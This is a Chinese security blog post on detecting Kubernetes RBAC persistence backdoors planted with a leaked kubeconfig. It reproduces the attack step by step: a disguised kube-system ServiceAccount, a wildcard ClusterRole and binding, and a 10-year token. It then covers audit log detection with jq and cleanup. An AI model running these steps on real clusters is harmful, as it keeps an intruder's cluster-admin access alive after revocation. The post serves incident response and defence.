k8s-kubeconfig泄露后的RBAC持久化后门排查
攻击者 │ ├─ 1. 使用泄露 kubeconfig 连接公网 apiserver │ ├─ 2. 创建后门 ServiceAccount(伪装成系统组件名) │ 2026-6-9 09:31:25 Author: zgao.top(查看原文) 阅读量:7 收藏

攻击者
  │
  ├─ 1. 使用泄露 kubeconfig 连接公网 apiserver
  │
  ├─ 2. 创建后门 ServiceAccount(伪装成系统组件名)
  │
  ├─ 3. 创建 ClusterRole(全权限)
  │
  ├─ 4. 创建 ClusterRoleBinding(将后门 SA 绑定到 cluster-admin)
  │
  ├─ 5. 用 TokenRequest API 生成长期 token(不存储在 apiserver,难以追踪)
  │
  └─ 6. 防御方删除原始 kubeconfig 对应的 RBAC binding
         ↓
       原始 kubeconfig → Forbidden (请求被拒绝)
       后门 SA token  → cluster-admin 全权限 (仍能正常使用)

经验丰富的攻击者拿到一份泄露的 kubeconfig(cluster-admin 权限)后,第一件事可能不是立刻操作,而是先给自己埋一个独立的后门——即使原始 kubeconfig 被吊销,后门依然有效。kubeadm certs renew 和删除 ClusterRoleBinding 对已植入的后门无效,因为后门使用独立的身份凭证。

实验环境

角色规格公网 IP内网 IP
masterS5.LARGE8 4C8G Ubuntu 22.04129.xxx.50.24710.0.1.14
worker nodeS5.MEDIUM4 2C4G Ubuntu 22.0443.xxx.182.9610.0.1.2
centos-nodeS5.MEDIUM4 2C4G CentOS 7.943.xxx.29.3810.0.1.11
  • Kubernetes v1.30.14,kubeadm 部署,flannel CNI
  • apiserver 开启 Audit Log(/var/log/kubernetes/audit.log
  • 模拟攻击者已持有泄露的 kubeconfig(server 指向公网 IP,cluster-admin 权限)
# 攻击者视角:验证泄露的 kubeconfig 可用
export KUBECONFIG=./lab/attack/leaked-kubeconfig.yaml
kubectl auth whoami

ATTRIBUTE   VALUE
Username    kubernetes-admin
Groups      [kubeadm:cluster-admins system:authenticated]

攻击链复现

枚举集群现有 RBAC

攻击者拿到 kubeconfig 后首先摸清 RBAC 现状,找到高权限 binding,了解命名规律,为后续伪装做准备:

# 枚举所有 ClusterRoleBinding,找 cluster-admin 相关的
kubectl get clusterrolebindings -o wide | grep cluster-admin

# 列出 kube-system 里的 ServiceAccount,参考系统组件命名规律
kubectl get sa -n kube-system

可以观察到系统 SA 名称风格为 xxx-controllerxxx-manager,kube-system 命名空间,下一步据此伪装。

植入后门三件套

真实攻击(RBAC Buster)中,攻击者将后门命名为 kube-controller / system:controller:kube-controller,故意仿造系统组件名称。本实验使用 kube-metrics-controller 演示伪装命名:

# 步骤一:创建伪装的 ServiceAccount
kubectl create serviceaccount kube-metrics-controller -n kube-system

# 步骤二:创建全权限 ClusterRole(也可以直接复用内置的 cluster-admin)
kubectl create clusterrole kube-metrics-controller \
    --verb='*' \
    --resource='*'

# 步骤三:将 SA 绑定到全权限角色
kubectl create clusterrolebinding system:controller:kube-metrics-controller \
    --clusterrole=kube-metrics-controller \
    --serviceaccount=kube-system:kube-metrics-controller

整个过程不到 10 秒,后门已植入完毕。

生成长期 token(不留痕迹)

# 用 TokenRequest API 生成 10 年有效期的 token
kubectl create token kube-metrics-controller \
    -n kube-system \
    --duration=87600h \
  > backdoor_token.txt

验证后门有效

TOKEN=$(cat backdoor_token.txt)

# 用后门 token 调用 apiserver
curl -sk -H "Authorization: Bearer $TOKEN" \
  https://129.226.50.247:6443/api/v1/nodes \
  | jq '[.items[].metadata.name]'

模拟吊销泄露的kubeconfig

防御方发现 kubeconfig 泄露,执行吊销操作:

# 防御方操作:删除泄露 kubeconfig 对应的 ClusterRoleBinding
kubectl delete clusterrolebinding kubeadm:cluster-admins

# 原始泄露的 kubeconfig → 已失效
KUBECONFIG=./lab/attack/leaked-kubeconfig.yaml kubectl get pods
# Error from server (Forbidden): pods is forbidden:
# User "kubernetes-admin" cannot list resource "pods"...

curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  https://129.226.50.247:6443/api/v1/nodes \
  | jq '[.items[].metadata.name]'

验证结果:防御方以为关上了门,攻击者其实仍在屋内。

- auth whoami 还能通 → 认证(Authentication)没问题,证书本身有效,apiserver 认识你是谁
- get pods Forbidden → 鉴权(Authorization)被切断,RBAC 查不到任何允许这个用户列 Pod 的规则

两个阶段是独立的:

请求 → 认证(你是谁?)→ 鉴权(你能做什么?)→ 准入
         ↑                    ↑
   证书有效,通过          binding 没了,拒绝

auth whoami 只走认证阶段,所以还能返回结果。get pods 要走到鉴权阶段才会 Forbidden。

后门 SA kube-metrics-controller 与原始 kubeconfig 的 kubernetes-admin 是完全独立的身份。删除原始 binding 不影响后门 binding。

Audit Log 审计攻击痕迹

后门植入的三条关键记录

前提是开启了 audit log 的集群,以上操作才全部有迹可查。这里把攻击的日志提取出来,供排查参考。

创建后门 ServiceAccount

{
  "requestReceivedTimestamp": "2026-06-08T07:36:51.320243Z",
  "verb": "create",
  "user": {
    "username": "kubernetes-admin",
    "groups": ["kubeadm:cluster-admins", "system:authenticated"]
  },
  "sourceIPs": ["159.196.171.95"],
  "userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
  "objectRef": {
    "resource": "serviceaccounts",
    "namespace": "kube-system",
    "name": "kube-metrics-controller"
  },
  "responseStatus": { "code": 201 }
}

创建后门 ClusterRoleBinding

{
  "requestReceivedTimestamp": "2026-06-08T07:36:54.064706Z",
  "verb": "create",
  "user": {
    "username": "kubernetes-admin",
    "groups": ["kubeadm:cluster-admins", "system:authenticated"]
  },
  "sourceIPs": ["159.196.171.95"],
  "userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
  "objectRef": {
    "resource": "clusterrolebindings",
    "name": "system:controller:kube-metrics-controller"
  },
  "requestObject": {
    "subjects": [{"kind": "ServiceAccount", "name": "kube-metrics-controller", "namespace": "kube-system"}],
    "roleRef": {"kind": "ClusterRole", "name": "cluster-admin"}
  },
  "responseStatus": { "code": 201 }
}

生成长期 token

{
  "requestReceivedTimestamp": "2026-06-08T07:36:57.262985Z",
  "verb": "create",
  "user": {
    "username": "kubernetes-admin",
    "groups": ["kubeadm:cluster-admins", "system:authenticated"]
  },
  "sourceIPs": ["159.196.171.95"],
  "objectRef": {
    "resource": "serviceaccounts",
    "subresource": "token",
    "namespace": "kube-system",
    "name": "kube-metrics-controller"
  },
  "responseStatus": { "code": 201 }
}

注意:audit policy 里对 serviceaccounts/token 的记录级别要设为 Request 或 RequestResponse,否则这条查询没有数据。本实验的 policy 已覆盖。

检查 TokenRequest API 是否被滥用

TokenRequest API 生成的 token 不存储在 apiserverkubectl get secret 看不到,只能从 audit log 里找

sudo jq -c 'select(
  .verb == "create" and
  .objectRef.subresource == "token" and
  .objectRef.resource == "serviceaccounts" and
  (
    .sourceIPs | map(
      test("^10\\.|^172\\.(1[6-9]|2[0-9]|3[01])\\.|^192\\.168\\.|^127\\.|^::1$")
      | not
    ) | any
  )
) | {
  ts:   .requestReceivedTimestamp,
  sa:   "\(.objectRef.namespace)/\(.objectRef.name)",
  src:  .sourceIPs[0],
  user: .user.username
}' /var/log/kubernetes/audit.log

如果有输出,说明攻击者已经为某个 SA 生成了长期 token,删除对应 SA 是唯一的撤销方法

jq 快速筛查后门植入行为

# 找所有来自公网 IP 的 ClusterRoleBinding 创建操作
sudo jq -c 'select(
  .verb == "create" and
  .objectRef.resource == "clusterrolebindings" and
  (
    .sourceIPs | map(
      test("^10\\.|^172\\.(1[6-9]|2[0-9]|3[01])\\.|^192\\.168\\.|^127\\.|^::1$")
      | not
    ) | any
  )
) | {
  ts:       .requestReceivedTimestamp,
  name:     .objectRef.name,
  src:      .sourceIPs[0],
  user:     .user.username,
  subjects: [.requestObject.subjects[]? | "\(.kind)/\(.namespace)/\(.name)"],
  role:     .requestObject.roleRef.name
}' /var/log/kubernetes/audit.log

应急排查如何发现后门

收到告警或发现 kubeconfig 泄露后,按以下顺序排查,先排查后门,再执行吊销

找所有绑定高权限角色的 ClusterRoleBinding

攻击者有两种绑定方式:直接绑内置 cluster-admin,或先创建通配符自定义 ClusterRole 再绑。以下一条命令同时覆盖两种方式

kubectl get clusterroles,clusterrolebindings -o json | jq -r '
  # 提取所有自定义通配符 ClusterRole 名称
  [
    .items[] |
    select(.kind == "ClusterRole") |
    select(
      (.metadata.name | test("^system:|^kubeadm:|^flannel|^calico|^kube-proxy") | not) and
      (.rules[]? | (.verbs[]? == "*") or (.resources[]? == "*"))
    ) |
    .metadata.name
  ] as $dangerous |

  # 找绑了 cluster-admin 或通配符自定义角色的所有 binding
  .items[] |
  select(.kind == "ClusterRoleBinding") |
  select(
    .roleRef.name == "cluster-admin" or
    (.roleRef.name | IN($dangerous[]))
  ) |
  "\(.metadata.creationTimestamp)  \(.metadata.name)  →  \(.roleRef.name)
    subjects: \(.subjects // [] | map("\(.kind)/\(.namespace // "-")/\(.name)") | join(", "))"
' | sort

本实验真实输出:

这里的system:controller:kube-metrics-controller 绑的是自定义 ClusterRole,纯查 cluster-admin 会漏掉它。

找所有非默认的 ServiceAccount

靠肉眼逐行辨别不可靠。以下一条命令完成三步:找异常 SA → 追 ClusterRoleBinding → 展开 ClusterRole rules。

kubectl get serviceaccounts,clusterroles,clusterrolebindings -n kube-system -o json | jq -r '
  # kubeadm + flannel 标准集群合法 SA 白名单
  [
    "attachdetach-controller","bootstrap-signer","certificate-controller",
    "clusterrole-aggregation-controller","coredns","cronjob-controller",
    "daemon-set-controller","default","deployment-controller",
    "disruption-controller","endpoint-controller","endpointslice-controller",
    "endpointslicemirroring-controller","ephemeral-volume-controller",
    "expand-controller","generic-garbage-collector","horizontal-pod-autoscaler",
    "job-controller","kube-proxy","legacy-service-account-token-cleaner",
    "namespace-controller","node-controller","node-ipam-controller",
    "node-lifecycle-controller","persistent-volume-binder","pod-garbage-collector",
    "pv-protection-controller","pvc-protection-controller","replicaset-controller",
    "replication-controller","resourcequota-controller","root-ca-cert-publisher",
    "service-account-controller","service-controller","statefulset-controller",
    "token-cleaner","ttl-after-finished-controller","ttl-controller",
    "validatingadmissionpolicy-status-controller"
  ] as $whitelist |

  # ClusterRole 名 → rules 索引
  ([.items[] | select(.kind=="ClusterRole") | {(.metadata.name): .rules}] | add // {}) as $role_rules |

  # 异常 SA 名称集合(不在白名单里的)
  [.items[] | select(.kind=="ServiceAccount") | select(.metadata.name | IN($whitelist[]) | not) | .metadata.name] as $suspicious |

  # 找绑了异常 SA 的 ClusterRoleBinding,并直接展开 rules
  .items[] |
  select(.kind=="ClusterRoleBinding") |
  select(.subjects[]? | .kind=="ServiceAccount" and .namespace=="kube-system" and (.name | IN($suspicious[]))) |
  . as $b |
  $b.roleRef.name as $rn |
  "[!] SA:      kube-system/\($b.subjects[] | select(.kind=="ServiceAccount") | .name)",
  "    Binding: \($b.metadata.name)  →  \($rn)",
  "    Rules:   \($role_rules[$rn] // "built-in, check manually" | tojson)",
  ""
'

发现可疑 SA 后,进一步确认它绑了什么权限:

输出的三层信息一目了然:

  • SAkube-metrics-controller,不在白名单,可疑
  • Binding:命名仿系统组件(system:controller: 前缀),绑的是自定义角色而非 cluster-admin,刻意规避告警
  • Rulesresources=* + verbs=* = 与 cluster-admin 等价的全权限,确认为后门

应急处置顺序

错误顺序:先吊销原始 kubeconfig 以为完事了,实际上后门仍在。

正确顺序:先排查后门,清理后门,再吊销原始 kubeconfig。

关键:删 SA 比删 ClusterRoleBinding 更彻底。

# 只删 ClusterRoleBinding:token 还在,重新绑定即可恢复权限
kubectl delete clusterrolebinding system:controller:kube-metrics-controller

# 删 ServiceAccount:token 立即失效,无法再用
kubectl delete sa kube-metrics-controller -n kube-system

TokenRequest API 生成的 token 与 SA 绑定,SA 被删后 token 的 JWT 验证会立即失败(apiserver 验证 SA 是否存在),这是撤销这类 token 的唯一方法。

Post Views: 7

赞赏

微信赞赏支付宝赞赏


文章来源: https://zgao.top/k8s-kubeconfig%e6%b3%84%e9%9c%b2%e5%90%8e%e7%9a%84rbac%e6%8c%81%e4%b9%85%e5%8c%96%e5%90%8e%e9%97%a8%e6%8e%92%e6%9f%a5/
如有侵权请联系:admin#unsafe.sh